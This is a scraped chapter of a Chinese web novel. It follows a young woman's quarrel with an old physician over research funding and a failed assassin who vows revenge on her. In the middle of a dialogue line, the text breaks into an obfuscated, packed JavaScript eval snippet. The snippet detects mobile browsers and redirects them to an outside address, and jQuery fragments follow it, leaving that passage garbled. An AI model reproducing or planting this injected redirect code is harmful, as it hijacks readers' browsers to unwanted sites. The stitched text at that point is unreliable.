47. 剥削

作品:《啊?我没想造反的

    洛清夷一拉开门,就是雁鸣满含祈求的面容。


    “姑娘三思啊!胡老也是为了救人性命,求姑娘再宽恕胡老一次!”


    “我这辈子最大的错误就是养了他这个败家子儿!”洛清夷恨恨道,“没有他,我何至于辛苦这么多年,兜里一个子儿都没有!”


    雁鸣拦着她不让她走,“可胡老救了很多人的命,我也是他救活的啊姑娘!若非胡老,我那次就死了……”


    她话音里隐隐带了哭腔,洛清夷看到她眼里因熬夜漫起的血丝,忽然就不忍心了。


    当初雁鸣跳河,郁檀去救她。


    郁檀倒还好,可雁鸣那时就是个营养不良的豆芽菜,大概是肺里呛了水,引发肺炎,咳嗽得厉害又高热不退,小脑袋耷拉着都撑不起来,眼瞅就不行了。


    幸亏注射了青霉素,才让雁鸣捡回一条命。


    这丫头得知她还在助太医研制医药,彻底崇拜上她,觉得她干得都是“拯救苍生”的大事,开始死心塌地地追随她。


    洛清夷那时还穷,信誓旦旦向众人保证,称天工造物和安华医药的研发团队终有一日会改变这个世界,为这些事投入再多的钱财和精力都是应该的。


    然而没几年,她就因七大布商围剿华锦一事断了资金链,对安华医馆的投资也产生退意。


    彼时大家的目光都放在天工造物的团队上,想尽办法确保这边的研究团队能继续实验。


    唯有雁鸣为了不让洛清夷撤掉对安华医馆的投资,竟偷偷把自己多年攒下的工钱和奖金全数贴补给医馆了。不然以她的工钱来讲,再有两年就能在京都城买套属于自己的宅子了。


    “哎呦喂!老头子我没法活了啊!”


    雁鸣这一拦,让胡太医抓住机会。


    洛清夷头皮一炸:得,又开始了……


    “老头子我为了你,连正三品的官职都辞掉了!”


    “这些年我不讲吃、不讲穿,抛家舍业,一心扑在实验室!”


    “那救命神药,你就告诉我一个名字,我就带人没日没夜的研究啊!”


    “我一把年纪的人,成天对着臊气冲天的猪牛羊腰子,我耗尽心血啊!若非如此,我如何能带着救命药去救你那亲爹?啊?”


    “你这丫头没良心啊!”


    他故意说“亲爹”,是在提醒洛清夷她的身世呢!


    她太阳穴砰砰地跳,气得直跳脚:“死老头你不要脸!”


    所谓的救命药,指的就是肾上腺素。


    她只知这玩意儿是种激素,并不知晓是怎么制出来的。偶然间不经意提起,胡太医听说这东西能在人濒死时刻激发潜能,从而救回人命,就一头扎进研究中,硬是单凭这个名字,从牛羊等牲畜的肾脏上分离出来了。


    为了他的研究,京都城食肆的火爆腰花都没得卖了。


    可这有什么用?在这个时代,这玩意的成本是不可想象的大,根本无法批量生产,注定收不回本钱。


    至于他“抛家舍业”,是他根本就没成家,送走父母之后就是孑然一身了。


    辞官叫什么“舍业”?分明是他以辞官彰显决心,信誓旦旦邀她合作赚钱!


    她后来才知道,他六十岁就到了告老还乡的年纪,为了做研究才留在太医院。遇到她之后,就为她量身定制了一个“杀猪盘”,把她哄骗进来宰!


    这些年只要她不愿给钱,他就撒泼打滚、威胁利诱,无所不用其极!


    就是因为他太能烧钱了,害得她辛苦多年仍口袋空空,不得不在凌霄阁举办招商会,连宴席都只能靠琼珍阁安排,因为根本没钱订别家的酒楼!


    就这,她还要以各种方式从家中或纨绔们身上搜刮钱财,成为“挥金如土”、“挥霍无度”的最强纨绔,人人避之不及。


    她上辈子都没被剥削到这么惨!


    雁鸣紧紧抱着洛清夷,生怕她气急了跟胡老太医动手。这一老一少每年都会“闹”上两回,她拦得也习惯了。


    直到洛清夷累了,喘着粗气瓮声瓮气:“要多少?!”


    方才还在哭天喊地的胡太医,一骨碌就从地上爬起来,嘿嘿笑着递上批款文件。


    洛清夷翻到数额部分,看到“两千金”的数字再次跳脚:“老子跟你拼了!”


    胡太医躲过她挥来的文件,恬不知耻道:“哎呀,不过是你一个镯子的钱,大不了你再找个冤大头磕一支呗!”


    *


    魏渊脱下上衣,趴在安华医馆的隔间,等着郎中去取伤药。


    刺杀洛千霆失败,城中这几日查得极严,尤其是他这种受过刀剑伤的人,一律当疑犯抓起来。


    他不得不把伤口戳烂,借口是做苦工时被农具砸伤了,又每次换完伤药都换一家医馆,才安全躲藏至今。


    若当时刺杀失败就逃出京都城,他自是能躲过此劫的。


    可他实在不甘心。


    自父母亡故后,他苟且偷生至今,终于与仇人打了照面。结果拼尽全力仍是败得一塌糊涂,还把无辜的小邱搭进去了。


    十几年积攒下的恨意滔滔,加上深深的挫败和愧疚,让他产生了一种破罐破摔、鱼死网破的心思。


    他当时不该退。


    好不容易伤了洛千霆,他就该豁出性命与仇人同归于尽才对!


    他一直竖起耳朵注意外面的动静,免得官兵突然来查,把他瓮中捉鳖了。


    果然有细弱的脚步声,魏渊乍一抬头,就见一个约莫五六岁的小姑娘站在门口。


    他下意识拿衣裳遮挡赤/裸的上身,不自觉冲口斥道:“你这小孩儿,怎么偷看别人呢?知不知羞?”


    “你不穿衣裳,你才不知羞!略!”


    小女孩朝他做个鬼脸,掉头要跑,冷不防撞到取药回来的郎中,吓得后退两步。


    “芩芩,又乱跑。你娘亲的药熬好了,去端给你娘亲吧!”


    小女孩重重点了下头,跳着蹿出去了。


    “让您见笑了。”郎中笑呵呵对魏渊解释,“这孩子的娘亲在医馆住了好几日,孩子闷得慌,到处乱窜。”


    魏渊堆出个无害的笑容表示不介意,安静地趴着等郎中上药。


    郎中是个话痨,自顾自地说:“这娘俩也是可怜人。夫婿本是船工,结果赶上暴风雨,连船带人全翻了,就这么没了。她一个寡妇,把婆母伺候走之后就病倒了……”


    魏渊也不搭茬,一耳朵听郎中絮叨,一耳朵继续注意外面的动静,忽听有人兴奋道:“哎你听说了吗?刺杀洛会长的那些煞星们,明日要游街,还要当众斩首呢!”


    “真的假的?几十年没见过游街、斩首这等事了。”


    “官府贴出的告示还能有假?敢在天子脚下行刺,刺杀的还是与陛下有过命交情的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111261|192623||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    洛会长,这不是打陛下的脸吗?听说陛下雷霆震怒,誓要将那夜煞门剿灭呢!”


    “这几日,满城客栈、驿站都在排查,连进出城门都会再三盘查,抓了好些个可疑之人呐!”


    “哼,早该让京都府衙那帮吃闲饭的动起来了。这可是大瀚的都城,怎么能出如此耸人听闻之事?这是洛会长有护卫随行,换成你我,定是难逃此劫了。”


    “你可拉倒吧!那帮煞星是盯上洛会长,是因为人家有钱有势。杀你干嘛?抢你一个月四两银子的活计啊……”


    “小伙子,放松些。”郎中拍拍他的背,“小心伤口崩开。”


    魏渊松开紧握的拳头,手心几乎掐出了血痕。


    没等他说话,忽然又听外面“哐当”一声,伴随着年轻女子的惊呼,小姑娘的哭声随即响起。


    “泼我一身黑药汤子,我还没说话呢,你倒先哭起来了?”


    听声音女子年龄不大,声音娇俏,带着冲天的怨气。郎中先前听见芩芩的声音已经站起来了,听到女子训话又复坐回去,拿起棉布条给魏渊包扎伤口。


    “哭什么哭?给我道歉!这世上不是谁哭谁就有理的!”


    魏渊皱起眉头,偏头看向郎中:“好像是方才那个小姑娘,您不去看看?”


    郎中动作不停,安抚道:“放心吧,没事儿。”


    “你这小孩儿,听没听见?犯错就要道歉,你哭破大天也没有用!”


    “让你道歉呢!你哭有什么用?再哭我揍你信不信?”


    魏渊猜测女子不好惹,郎中才不敢出去劝。可他此时也不便强出头,心里憋屈忍不住骂道:“这京都城的女子真跋扈,竟对一个孩子如此咄咄逼人!”


    郎中将布条绕到他身前,脸上噙了抹笑:“小伙子,这世上之事,耳听、眼见都不一定为实。”


    魏渊不懂,就听孩子的哭声停了,那女子的语气也缓和了:“这还差不多!以后走路小心点儿知道吗?也就是姐姐我人美心善,换个凶巴巴的哥哥,定是要打你屁股的!”


    郎中闻言忍不住笑出声,“芩芩这孩子啊,是个有福分的。”


    待魏渊穿好衣服走出屋,方才的喧闹早已停了,只余地上刚擦净的水痕。


    他付了伤药和包扎钱,接过医馆伙计找回的零钱,正要放到钱袋子里,突然想到小姑娘朝他做鬼脸的模样。


    “等等。”


    他叫住伙计问:“方才那个叫芩芩的小姑娘,是不是把药打翻了?那药多少钱?我替她再付一份,劳你们重新熬一份。”


    “多谢您好心。”伙计满面含笑地推拒,“不过方才洛大姑娘已经给芩芩她娘亲付清了所有费用,连同后续几日的钱也提前给了。”


    魏渊松怔:“洛大姑娘?哪个洛大姑娘?”


    伙计笑道:“京都城还有几个洛大姑娘?自然是洛会长的掌上明珠啊!不过还是要替芩芩谢过您了,……哎?”


    洛千霆的女儿?


    魏渊脑子一热,都没听伙计说完话,就急急朝门口跑去。


    奢华马车正好从门前经过,薄纱窗帘只能看到一个削瘦身形的男子坐在车窗边,朝着车尾方向倾身低头,似是在说着什么亲昵的话。


    魏渊扶上门框,看向马车离去的方向,突然绽放笑容。


    洛大姑娘是吧?


    那便由你,父债子偿吧!